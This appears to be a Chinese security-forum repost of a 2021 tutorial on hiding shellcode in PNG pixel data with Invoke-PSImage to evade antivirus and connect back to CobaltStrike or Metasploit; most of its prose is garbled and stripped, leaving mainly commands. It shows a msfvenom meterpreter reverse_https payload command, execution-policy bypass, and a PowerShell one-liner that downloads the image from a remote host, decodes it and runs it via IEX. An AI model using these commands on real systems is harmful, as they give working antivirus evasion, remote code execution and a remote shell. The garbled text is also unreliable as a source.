[763] 2021-04-25_Shellcode隐写到像素RGB免杀上线到CobaltStrike

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-16
2021-04-25_Shellcode隐写到像素RGB免杀上线到CobaltStrike S h e l l c o d e     R G B   线   C o b a l t S t r i k e b g b i n g   2 0 2 1 - 0 4 - 2 5         5 2     A V   使 便 P N G P o w e r S h e l l   p n g 5 0 便 P S 广 广 C o b a l t S t r i k e   C S   p s 1     I n v o k e - P S I m a g e . p s 1     P a y l o a d   使   s h e l l c o d e     . #   1 S e t - E x e c u t i o n P o l i c y   U n r e s t r i c t e d   - S c o p e   C u r r e n t U s e r #   2   p s 1   I m p o r t - M o d u l e   . I n v o k e - P S i m a g e . p s 1 #   3   s h e l l c o d e   I n v o k e - P S I m a g e   - S c r i p t   . p a y l o a d . p s 1   - I m a g e   . s a u l . j p g   - O u t   . s a u l . p n g   - W e b
  P o w e r s h e l l     s a u l . p n g     h t t p : / / e x a m p l e . c o m / s a u l . p n g     h t t p     h t t p     s a u l . p n g     p o w e r s h e l l     h t t p   线   p o w e r s h e l l   线 M e t a s p l o i t h t t p s : / / g i t h u b . c o m / d a y u x i y o u / I n v o k e - P S I m a g e h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 2 6 2 9 7 8 . h t m l s a l   a   N e w - O b j e c t ; A d d - T y p e   - A   S y s t e m . D r a w i n g ; $ g = a   S y s t e m . D r a w i n g . B i t m a p ( ( a   N e t . W e b C l i e n t ) . O p e n R e a d ( " h t t p : / / e x a m p l e . c o m / s a u l . p n g " ) ) ; $ o = a   B y t e [ ]   3 5 8 4 ; ( 0 . . 1 3 ) | % { f o r e a c h ( $ x   i n ( 0 . . 2 5 5 ) ) { $ p = $ g . G e t P i x e l ( $ x , $ _ ) ; $ o [ $ _ * 2 5 6 + $ x ] = ( [ m a t h ] : : F l o o r ( ( $ p . B - b a n d 1 5 ) * 1 6 ) - b o r ( $ p . G   - b a n d   1 5 ) ) } } ; I E X ( [ S y s t e m . T e x t . E n c o d i n g ] : : A S C I I . G e t S t r i n g ( $ o [ 0 . . 3 5 5 0 ] ) ) s a l   a   N e w - O b j e c t ; A d d - T y p e   - A   S y s t e m . D r a w i n g ; $ g = a   S y s t e m . D r a w i n g . B i t m a p ( ( a   N e t . W e b C l i e n t ) . O p e n R e a d ( " h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 4 / s a u l . p n g " ) ) ; $ o = a   B y t e [ ]   3 5 8 4 ; ( 0 . . 1 3 ) | % { f o r e a c h ( $ x   i n ( 0 . . 2 5 5 ) ) { $ p = $ g . G e t P i x e l ( $ x , $ _ ) ; $ o [ $ _ * 2 5 6 + $ x ] = ( [ m a t h ] : : F l o o r ( ( $ p . B - b a n d 1 5 ) * 1 6 ) - b o r ( $ p . G   - b a n d   1 5 ) ) } } ; I E X ( [ S y s t e m . T e x t . E n c o d i n g ] : : A S C I I . G e t S t r i n g ( $ o [ 0 . . 3 5 5 0 ] ) ) 1 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s   L H O S T = 1 9 2 . 1 6 8 . 2 5 3 . 8   L P O R T = 5 5 5 5   - f   p s h - r e f l e c t i o n   >   m s f - d a y u . p s 1 2 S e t - E x e c u t i o n P o l i c y   U n r e s t r i c t e d   - S c o p e   C u r r e n t U s e r 3 I m p o r t - M o d u l e   . I n v o k e - P S i m a g e . p s 1 4 I n v o k e - P S I m a g e   - S c r i p t   . c s - d a y u . p s 1   - I m a g e   . d a y u . j p g   - O u t   . c s - d a y u . p n g   - W e b

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则